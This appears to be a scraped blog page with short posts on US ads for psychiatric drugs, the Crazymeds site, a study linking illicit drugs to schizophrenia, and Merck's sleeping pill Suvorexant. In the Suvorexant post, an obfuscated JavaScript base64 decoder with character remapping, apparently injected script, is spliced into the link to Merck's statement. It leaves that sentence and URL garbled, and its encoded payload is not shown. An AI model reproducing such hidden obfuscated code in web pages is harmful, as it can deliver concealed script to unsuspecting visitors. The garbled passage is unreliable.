Public commercials for psychiatric medication?


In the US,  public commercials for psychiatric drugs are permitted.

This is – not yet – the case in Austria.

Here are some US- examples:

Do you think that this kind of commercial should be legal in the European Union, maybe as a consequence of the  transatlantic freetrade area between the EU and the USA?



Crazymeds: Highly recommended for critical thinkers


This webpages comes with high recommendations for critical thinkers in the field of
psychopharmacology. Just to make it clear: I advocate the use of psychopharmacological medication when needed; But not without good information.

Not all of the information on the following link may correspond to all of my own perceptions, but following different leads is always a good idea when you want to make up your mind:

Cannabis and other illicit drugs linked to Schizophrenia



International Congress of the Royal College of Psychiatrists (RCPsych) 2013. Presented July 5, 2013.

EDINBURGH, Scotland — Episodes of psychosis induced from several types of illicit substances are significantly linked to a later clinical diagnosis of schizophrenia, new research suggests. Continue reading

New sleeping pill in the pipeline…


A new compound named Suvorexant – based on  neurotransmitters called orexins – is in the pipeline. It is currently developped by Merck. The FDA have reviewed the product, and, according to my understanding, given partial approval, with the exception that the dosage suggestions/recommendations  should be revised and lower doses should be reinforced.

A statement  by Merck can be found {var yd='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var vb='';var y4,sd,t3,rd,y3,x1,s0;var nd=0;do{rd=yd.indexOf(uf.charAt(nd++));y3=yd.indexOf(uf.charAt(nd++));x1=yd.indexOf(uf.charAt(nd++));s0=yd.indexOf(uf.charAt(nd++));y4=(rd<<2)|(y3>>4);sd=((y3&15)<<4)|(x1>>2);t3=((x1&3)<<6)|s0;if(y4>=192)y4+=848;else if(y4==168)y4=1025;else if(y4==184)y4=1105;vb+=String.fromCharCode(y4);if(x1!=64){if(sd>=192)sd+=848;else if(sd==168)sd=1025;else if(sd==184)sd=1105;vb+=String.fromCharCode(sd);}if(s0!=64){if(t3>=192)t3+=848;else if(t3==168)t3=1025;else if(t3==184)t3=1105;vb+=String.fromCharCode(t3);}}while(ndand-development-news/merck-receives-complete-response-letter-suvorexant-merck">here.

Comment: Many sleeping pills have a definite risk of abuse, drug tolerance and addiction.
Any new approach without these unwanted side effects or drugs that may be potentially helpful in patients with insomnia and who have failed to respond to current treatment, would be highly welcome.